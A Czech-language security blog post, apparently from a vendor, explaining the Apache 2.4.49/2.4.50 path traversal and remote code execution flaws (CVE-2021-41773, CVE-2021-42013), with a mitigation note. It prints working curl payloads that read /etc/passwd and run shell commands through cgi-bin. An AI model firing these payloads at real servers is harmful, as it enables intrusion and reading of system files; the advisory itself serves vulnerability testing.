Adamantine Blog post
#kyberbezpečnost#cve#apache#rce

APACHE 2.4.49/2.4.50 - Remote Code Execution/Path Traversal (CVE-2021-41773, CVE-2021-42013)

Lukáš Čižmar
10/15/2021

APACHE 2.4.49/2.4.50 - Remote Code Execution/Path Traversal (CVE-2021-41773, CVE-2021-42013)

Obecný popis zranitelností CVE-2021-41773 a CVE-2021-42013

Dne 1. října 2021 se objevila v médiích informace o vysoce kritické zranitelnosti ve webovém serveru Apache ve verzích 2.4.49 a 2.5.50 umožňující útočníkovi díky nedostatečné validaci URI adresy přecházet mezi adresáři a dokonce si i zobrazovat obsah souborů. Za určitých okolností může tato zranitelnost vést dokonce k vykonání vzdáleného kódu.

Bližší pohled na chyby

Zranitelnost CVE-2021-42013 bypassuje opravu zranitelnosti CVE-2021-41773. Samontná chyba je velice jednoduchá a velmi snadno replikovatelná. Vychází z předpokladu, že webový server Apache nesprávně obsluhuje URI část HTTP požadavku. Díky tomu je možné pomocí kombinace dvou teček a lomítka přecházet mezi adresáři v adresářové struktuře směrem nahoru a následně i směrem dolů. Server Apache totiž posloupnost znaků

..

v URI adrese zkouší normalizovat tak, že je odstraňuje. A to nejen ve formě dvou teček, ale i jejich případnou zakódovanou podobu:

..
.%2e
.%2E

V těchto případech server Apache s normalizací uspěje. Avšak vzhledem k nedokonalé kontrole mu takzvaně 'pod raderem' projdou například následující posloupnosti znaků:

%2e%2e
%2E%2E
%2e%2E
%2E%2e
%2E%2E

Ve všech těchto případech dojde u náchylného serveru ke zneužití chyby Path Traversal.

Určitou ochranou je nastavení direktivy adresáře webu na hodnotu "require all denied", která zamezuje přechod v adresářové struktuře mimo adresáře webového serveru. Avšak u některých serverů mají administrátoři nastavenou direktivu "require all granted". V případě, že jsou na serveru povoleny CGI skripty (modul mod-cgi), mění se tato zranitelnost z Path Traversal na Remote Code Execution.

Testování zranitelnosti

Pro otestování zranitelnosti typu Path Traversal stačí v libovolném webovém klientovi spustit následující HTTP/HTTPS požadavek

curl 'https://<host>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

kde <host> je doména nebo IP adresa (případně port) testovaného serveru. Pokud se výstupem obsah souboru /etc/passwd, pak je daný server náchylný.

Pro otestování zranitelnosti typu Remote Code Execution stačí v libovolném klientovi spustit následující HTTP/HTTPS požadavek:

curl 'https://<host>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'

Aplikace cURL se snaží přistupovat k souboru /bin/bash a přes Content-Type mu předává systémový příkaz echo; id. V případě, že je server Apache náchylný, zobrazí pod jakými právy běží.

Zdroje:

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
  2. https://httpd.apache.org/security/vulnerabilities_24.html

Antivirová kontrola nové generace

Produkt Adamantine zvyšuje ochranu před únikem citlivých údajů Vašich zákazníků.

Kontaktujte nás